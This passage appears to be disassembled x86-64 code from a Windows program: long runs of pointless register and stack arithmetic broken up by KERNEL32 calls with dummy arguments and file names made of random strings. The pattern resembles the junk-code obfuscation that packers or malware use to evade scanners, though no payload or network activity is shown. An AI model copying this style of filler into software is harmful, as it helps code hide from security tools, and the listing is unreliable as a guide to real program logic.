mov rcx, qword [rsp + 0xabf8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaa38]
mov byte [rcx], al
lea rdx, [rsp + 0x4a78]
mov rcx, qword [rsp + 0xb4c8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4684], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0xa290]
mov rax, qword [rax]
mov qword [rsp + 0xb728], rax
mov eax, dword [rsp + 0x4710]
mov ecx, dword [rsp + 0x3da8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40ac], eax
lea rax, [rsp + 0x375]
mov qword [rsp + 0xb730], rax
mov rax, qword [rsp + 0x85c0]
mov rcx, qword [rsp + 0xaab8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9878]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1d40]
mov rcx, qword [rsp + 0xae58]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1d58], ax
mov rax, qword [rsp + 0xaf68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e80]
sar eax, cl
mov word [0x14022b968], ax
mov rax, qword [rsp + 0xaa20]
mov rcx, qword [0x14022bb48]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7480], rax
mov rax, qword [rsp + 0xaa10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8bc]
add eax, ecx
mov rcx, qword [rsp + 0xa000]
mov word [rcx], ax
lea rax, [rsp + 0x1ce8]
mov qword [rsp + 0xb738], rax
mov rax, qword [rsp + 0x73c0]
mov rcx, qword [rsp + 0x79a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa418]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4160]
mov dword [rsp + 0x4a7c], eax
mov rax, qword [rsp + 0x9c98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xce]
xor eax, ecx
mov byte [rsp + 0x373], al
mov rax, qword [rsp + 0x9988]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6f8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ce8], rax
movzx eax, word [rsp + 0x1dac]
mov word [rsp + 0x1f1c], ax
mov rax, qword [rsp + 0x9b90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9de8]
shl rax, cl
mov qword [0x14022a078], rax
mov rax, qword [rsp + 0xac50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x36a], al
mov rax, qword [rsp + 0xae48]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4968]
sar eax, cl
mov dword [rsp + 0x4428], eax
movsx eax, word [rsp + 0x1c88]
mov rcx, qword [0x14022b938]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e50], ax
movzx eax, word [rsp + 0x1de0]
mov rcx, qword [rsp + 0x9e98]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1cb4], ax
mov eax, dword [rsp + 0x471c]
mov dword [rsp + 0x4a80], eax
movsx eax, byte [rsp + 0x394]
mov rcx, qword [rsp + 0x9d70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x343], al
lea rcx, [rsp + 0xa178]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xaa48]
mov rcx, qword [rsp + 0x9b58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7158], rax
mov rax, qword [rsp + 0x9ee0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x864]
sar eax, cl
mov rcx, qword [rsp + 0xa1a8]
mov word [rcx], ax
mov rax, qword [0x14022b8c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa238]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14022b9d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9eb0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x96d0]
shl rax, cl
mov rcx, qword [rsp + 0xa180]
mov qword [rcx], rax
lea rax, [0x14022bb90]
mov qword [rsp + 0xb740], rax
mov r9d, 0xa34
xor r8d, r8d
lea rdx, [rsp + 0xb3c8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4984], eax
mov rax, qword [rsp + 0xa820]
mov rcx, qword [rsp + 0x9bd8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa860]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cb0]
movzx eax, word [rax]
mov word [rsp + 0x1f20], ax
mov rax, qword [0x14022b818]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9398]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb488], rax
mov rax, qword [rsp + 0xa818]
mov rcx, qword [rsp + 0xad78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3acc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.4xjh7WX8d3G_aid
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb748], rax
movsx eax, byte [rsp + 0x39a]
movsx ecx, byte [rsp + 0x2b4]
and eax, ecx
mov byte [rsp + 0x36b], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0xa470]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x4658]
mov rcx, qword [rsp + 0x9be0]
mov qword [rsp + 0xb750], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb750]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x43e4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
lea rcx, [rsp + 0xb758]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
mov byte [rsp + 0x3a2], al
mov rax, qword [rsp + 0xb570]
movzx eax, word [rax]
mov word [0x14022bc98], ax
mov rax, qword [rsp + 0xa718]
movzx eax, word [rax]
mov rcx, qword [0x14022ba60]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x176c], ax
movzx eax, word [rsp + 0x1ea4]
mov word [rsp + 0x1f24], ax
mov rax, qword [rsp + 0xb098]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa660]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa860]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c50]
mov rcx, qword [0x14022a018]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9218], rax
mov rax, qword [rsp + 0x9c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x491c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ae0], eax
movsx eax, byte [rsp + 0x188]
movsx ecx, byte [0x14022b812]
add eax, ecx
mov rcx, qword [rsp + 0xb1e0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb0d8]
movzx eax, word [rax]
mov word [rsp + 0x1f28], ax
mov rax, qword [rsp + 0x9e08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb3d0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1ca8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
lea rax, [rsp + 0x9cf0]
mov qword [0x14022bca0], rax
mov rax, qword [rsp + 0x9f98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d1c]
or eax, ecx
mov word [rsp + 0x1f0c], ax
lea rax, [rsp + 0xa660]
mov qword [rsp + 0xb760], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x5c1
mov rcx, qword [rsp + 0xa2c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4694], eax
lea rcx, [rsp + 0x9e18]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xb648]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9828]
shl rax, cl
mov qword [rsp + 0xa3d0], rax
mov eax, dword [rsp + 0x4840]
mov ecx, dword [rsp + 0x4838]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e30], eax
mov rax, qword [rsp + 0x9c20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x188]
add eax, ecx
mov rcx, qword [rsp + 0xa9f0]
mov byte [rcx], al
movzx eax, byte [0x140229f1d]
movzx ecx, byte [rsp + 0x362]
sub eax, ecx
mov rcx, qword [rsp + 0xb4f0]
mov byte [rcx], al
lea rax, [rsp + 0x39b0]
mov qword [rsp + 0xb768], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb770], rax
mov rax, qword [rsp + 0x9408]
mov rcx, qword [rsp + 0xa5d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9870], rax
movsx eax, word [rsp + 0x7b8]
mov rcx, qword [rsp + 0xb700]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14022b9e8]
mov word [rcx], ax
lea rdx, [rsp + 0x4874]
mov rcx, qword [rsp + 0xa3b8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47f0], eax
lea rcx, [rsp + 0xa0a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.duQED7Qm
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb778], rax
movzx eax, word [rsp + 0x864]
mov word [rsp + 0x1f2c], ax
mov rax, qword [rsp + 0xaa10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cac]
sar eax, cl
mov word [rsp + 0x1e04], ax
movzx eax, word [0x14022bad8]
mov word [rsp + 0x1f30], ax
mov rax, qword [rsp + 0x9c50]
mov rcx, qword [rsp + 0x7eb8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb670]
mov qword [rcx], rax
mov rax, qword [rsp + 0x97b8]
mov rcx, qword [rsp + 0xb1e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4768], eax
movsx eax, byte [0x140229f1e]
mov rcx, qword [rsp + 0x9c98]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x27f], al
movsx eax, word [rsp + 0x1448]
movsx ecx, word [rsp + 0x1d98]
and eax, ecx
mov rcx, qword [rsp + 0xb738]
mov word [rcx], ax
mov rax, qword [0x14022ba60]
movzx eax, word [rax]
mov word [rsp + 0x1f34], ax
mov rax, qword [rsp + 0x9cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7b58]
add rcx, rax
mov rax, rcx
mov qword [0x14022a080], rax
mov rax, qword [rsp + 0xb258]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa9d0]
shl rax, cl
mov rcx, qword [rsp + 0xb658]
mov qword [rcx], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xcf2d
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4a20], eax
lea rdx, [rsp + 0x4a84]
mov rcx, qword [rsp + 0xb778]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4904], eax
mov rax, qword [0x14022b948]
mov rcx, qword [rsp + 0xa810]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa228], rax
lea rax, [rsp + 0xad10]
mov qword [rsp + 0xb780], rax
mov rax, qword [rsp + 0xac00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xed4]
or eax, ecx
mov rcx, qword [rsp + 0x9e40]
mov word [rcx], ax
lea rax, [rsp + 0x352]
mov qword [rsp + 0xb788], rax
mov rax, qword [rsp + 0xadb0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa550]
mov qword [rsp + 0xb790], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb790]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa8c0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [rsp + 0xb558]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb1b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xce], al
mov eax, dword [rsp + 0x3e04]
mov ecx, dword [0x14022ba3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x451c], eax
mov rcx, qword [rsp + 0xa278]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x7960]
mov rcx, qword [rsp + 0xa098]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14022bc00]
mov qword [rcx], rax
lea rcx, [rsp + 0x9dc8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [0x14022a06c]
mov rcx, qword [rsp + 0xa738]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1964], ax
movzx eax, word [rsp + 0x16c0]
mov word [rsp + 0x1f38], ax
movzx eax, word [rsp + 0x1508]
movzx ecx, word [rsp + 0x1eac]
sar eax, cl
mov word [rsp + 0x1e68], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.aSJkPdNSyUbFTv_fbzLJtH7ZlH
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb798], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0xad50]
mov rcx, qword [rsp + 0xa990]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb258]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x8271
mov rcx, qword [rsp + 0xa5a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47f8], eax
movzx eax, byte [rsp + 0x355]
mov byte [rsp + 0x3a3], al
mov rax, qword [rsp + 0x9990]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x39dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa9e0]
mov dword [rcx], eax
lea rax, [0x14022b808]
mov qword [rsp + 0xb7a0], rax
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d20]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1964], ax
mov rax, qword [rsp + 0xa708]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1de0]
and eax, ecx
mov word [0x14022a028], ax
mov rax, qword [rsp + 0xaed0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8d28]
shl rax, cl
mov qword [rsp + 0x89e0], rax
lea rdx, [rsp + 0x4a78]
mov rcx, qword [rsp + 0xaac8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a88], eax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d44]
or eax, ecx
mov rcx, qword [rsp + 0xb110]
mov word [rcx], ax
movzx eax, byte [rsp + 0x37d]
mov rcx, qword [rsp + 0x9a48]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xaf80]
mov byte [rcx], al
lea rax, [rsp + 0x48e0]
mov qword [rsp + 0xb7a8], rax
mov rax, qword [rsp + 0xb620]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x385]
sar eax, cl
mov byte [rsp + 0x279], al
mov eax, dword [0x140229ff0]
mov dword [rsp + 0x4a8c], eax
mov rax, qword [rsp + 0xb048]
mov rcx, qword [rsp + 0xb508]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7950], rax
mov rax, qword [rsp + 0x9c00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f04]
add eax, ecx
mov word [rsp + 0x1ed8], ax
movzx eax, word [0x140229f98]
mov word [0x14022bca8], ax
mov rax, qword [rsp + 0xad68]
mov rcx, qword [rsp + 0xa620]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8e58], rax
mov rax, qword [rsp + 0xa360]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xac28]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaba0]
mov qword [rcx], rax
mov rax, qword [0x14022b960]
movzx eax, word [rax]
mov word [rsp + 0x1f3c], ax
mov rax, qword [rsp + 0xa5c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17d0]
sar eax, cl
mov rcx, qword [rsp + 0xb0b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9988]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8578]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7dd0], rax
lea rax, [rsp + 0x382]
mov qword [rsp + 0xb7b0], rax
mov rax, qword [rsp + 0xa580]
mov rcx, qword [rsp + 0xb4e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x49e4], eax
lea rax, [rsp + 0xa6f0]
mov qword [rsp + 0xb7b8], rax
lea rax, [0x140229f44]
mov qword [0x14022bcb0], rax
mov rax, qword [rsp + 0xaa30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cb4]
xor eax, ecx
mov word [rsp + 0x1d38], ax
movzx eax, byte [rsp + 0x331]
mov rcx, qword [rsp + 0xb660]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x178], al
mov eax, dword [rsp + 0x3e9c]
mov rcx, qword [rsp + 0x9800]
mov qword [rsp + 0xb7c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb7c0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa550]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9348]
movzx ecx, al
mov rax, qword [rsp + 0x7e70]
sar rax, cl
mov rcx, qword [rsp + 0xa770]
mov qword [rcx], rax
lea rax, [rsp + 0x6a]
mov qword [rsp + 0xb7c8], rax
mov eax, dword [rsp + 0x4864]
mov ecx, dword [0x14022ba3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a1c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rax, qword [rsp + 0xa9d8]
mov rax, qword [rax]
mov qword [rsp + 0xb7d0], rax
mov rcx, qword [rsp + 0xb158]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xaf98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab4]
sub eax, ecx
mov rcx, qword [rsp + 0xaa80]
mov word [rcx], ax
mov rax, qword [0x14022b8c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e1c]
add eax, ecx
mov rcx, qword [0x14022bc60]
mov word [rcx], ax
mov rax, qword [rsp + 0xa880]
mov rcx, qword [rsp + 0x7030]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa4a8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x176c]
mov word [rsp + 0x1f40], ax
mov rax, qword [rsp + 0xa510]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1edc]
and eax, ecx
mov word [rsp + 0x1d6c], ax
lea rax, [rsp + 0x8360]
mov qword [rsp + 0xb7d8], rax
movsx eax, byte [rsp + 0x387]
movsx ecx, byte [0x14022b813]
sar eax, cl
mov byte [rsp + 0x343], al
mov rax, qword [rsp + 0xae00]
mov eax, dword [rax]
imul eax, dword [rsp + 0x3a24]
mov dword [rsp + 0x41ec], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov rax, qword [rsp + 0x9a68]
mov rcx, qword [rsp + 0xb380]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7230], rax
movzx eax, word [rsp + 0x1024]
movzx ecx, word [rsp + 0x1dc0]
add eax, ecx
mov word [rsp + 0x1d08], ax
lea rax, [rsp + 0x9660]
mov qword [0x14022bcb8], rax
lea rax, [rsp + 0x49d0]
mov qword [rsp + 0xb7e0], rax
mov rax, qword [rsp + 0x9a28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
xor eax, ecx
mov byte [rsp + 0x1eb], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.RIVK9XpPNBzVxiqt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb7e8], rax
movsx eax, word [rsp + 0x15dc]
mov rcx, qword [rsp + 0xb270]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1dec], ax
movzx eax, word [rsp + 0x1e68]
mov word [rsp + 0x1f44], ax
mov rax, qword [rsp + 0xb328]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ef8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xae50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb408]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38a]
sub eax, ecx
mov byte [rsp + 0x142], al
mov rax, qword [rsp + 0xa250]
imul eax, dword [rax], 0x3ad
mov rcx, qword [rsp + 0xa220]
mov dword [rcx], eax
lea rax, [rsp + 0x1d54]
mov qword [rsp + 0xb7f0], rax
mov rax, qword [rsp + 0xa778]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb388]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14022baa0]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xb9ee
mov rcx, qword [rsp + 0xabe0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4798], eax
mov rax, qword [rsp + 0x9d48]
mov rcx, qword [0x14022ba90]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x97d0], rax
mov rax, qword [rsp + 0xa310]
mov rcx, qword [rsp + 0x7b58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8180], rax
lea rax, [rsp + 0x8e58]
mov qword [rsp + 0xb7f8], rax
movsx eax, word [rsp + 0x1dc8]
mov rcx, qword [rsp + 0x9bd0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1cec], ax
mov eax, dword [rsp + 0x471c]
mov dword [rsp + 0x4a90], eax
mov rax, qword [rsp + 0xa408]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9cf8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0xaf50]
mov rax, qword [rax]
mov rcx, qword [0x14022a018]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb4c0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4658]
mov dword [rsp + 0x4a94], eax
mov rax, qword [rsp + 0xaf80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x28e]
sar eax, cl
mov rcx, qword [rsp + 0xaa08]
mov byte [rcx], al
lea rax, [rsp + 0x10b4]
mov qword [0x14022bcc0], rax
lea rax, [rsp + 0x1d38]
mov qword [rsp + 0xb800], rax
movzx eax, word [rsp + 0x1e30]
mov rcx, qword [rsp + 0xaa10]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x988], ax
mov rax, qword [rsp + 0xb3f0]
mov rcx, qword [rsp + 0xada0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa078], rax
mov rax, qword [rsp + 0xab68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa920]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2c6], al
mov rax, qword [rsp + 0xa3d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x44dc]
shl eax, cl
mov dword [rsp + 0x4a58], eax
mov r9d, 0x2087
xor r8d, r8d
lea rdx, [rsp + 0x9860]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49f0], eax
lea rax, [rsp + 0xa538]
mov qword [rsp + 0xb808], rax
mov rax, qword [rsp + 0xacd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x98c]
add eax, ecx
mov word [rsp + 0x1ed4], ax
movzx eax, word [rsp + 0x8bc]
mov word [rsp + 0x1f48], ax
mov rax, qword [rsp + 0x9a80]
mov rcx, qword [rsp + 0xa9d0]
sub rcx, rax
mov rax, rcx
mov qword [0x14022a008], rax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d1c]
and eax, ecx
mov word [rsp + 0x1ca4], ax
mov rax, qword [0x14022bb70]
movzx ecx, al
mov rax, qword [rsp + 0x89e0]
sar rax, cl
mov qword [rsp + 0x9420], rax
lea rax, [rsp + 0x9cf0]
mov qword [rsp + 0xb810], rax
mov eax, dword [rsp + 0x491c]
mov ecx, dword [rsp + 0x47ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41ec], eax
lea rax, [rsp + 0x368]
mov qword [rsp + 0xb818], rax
mov eax, dword [rsp + 0x4744]
mov ecx, dword [rsp + 0x4674]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x45c8], eax
mov rax, qword [rsp + 0xa1b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x37a]
and eax, ecx
mov rcx, qword [rsp + 0xa5d8]
mov byte [rcx], al
lea rax, [rsp + 0x7b88]
mov qword [rsp + 0xb820], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.VM4J_slxAaNI5yembFis
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb828], rax
lea rax, [0x14022b988]
mov qword [0x14022bcc8], rax
movsx eax, word [rsp + 0x1f38]
movsx ecx, word [rsp + 0x1e5c]
and eax, ecx
mov word [rsp + 0x1c90], ax
mov rax, qword [rsp + 0xb6a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ca8]
sub eax, ecx
mov word [rsp + 0x1994], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb5e8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9f98]
mov word [rcx], ax
mov rax, qword [rsp + 0x97e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaed8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c20], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x471
mov rcx, qword [rsp + 0xa248]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4684], eax
mov rax, qword [rsp + 0xa818]
mov eax, dword [rax]
mov dword [rsp + 0x4a98], eax
lea rcx, [rsp + 0xb830]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xa988]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb510]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x282], al
mov rax, qword [rsp + 0x9848]
movzx eax, word [rax]
mov word [rsp + 0x1f4c], ax
mov rax, qword [rsp + 0xa840]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e08]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb368]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x6ff8]
add rcx, rax
mov rax, rcx
mov qword [0x14022b848], rax
mov rax, qword [rsp + 0xa4b8]
mov rcx, qword [rsp + 0x9f48]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa0f8], rax
mov rax, qword [rsp + 0xb578]
mov rcx, qword [rsp + 0xaed0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8f38], rax
mov rax, qword [rsp + 0xa038]
movzx ecx, al
mov rax, qword [rsp + 0x90c8]
sar rax, cl
mov rcx, qword [rsp + 0xaba0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xef0]
mov word [rsp + 0x1f50], ax
mov rax, qword [rsp + 0xaac0]
mov rcx, qword [rsp + 0xb450]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x43e4], eax
lea rax, [rsp + 0x344]
mov qword [rsp + 0xb838], rax
mov rax, qword [rsp + 0xb808]
mov rcx, qword [rsp + 0xae50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa208], rax
mov rcx, qword [rsp + 0xb3c8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0x47d4]
mov rcx, qword [rsp + 0x9a50]
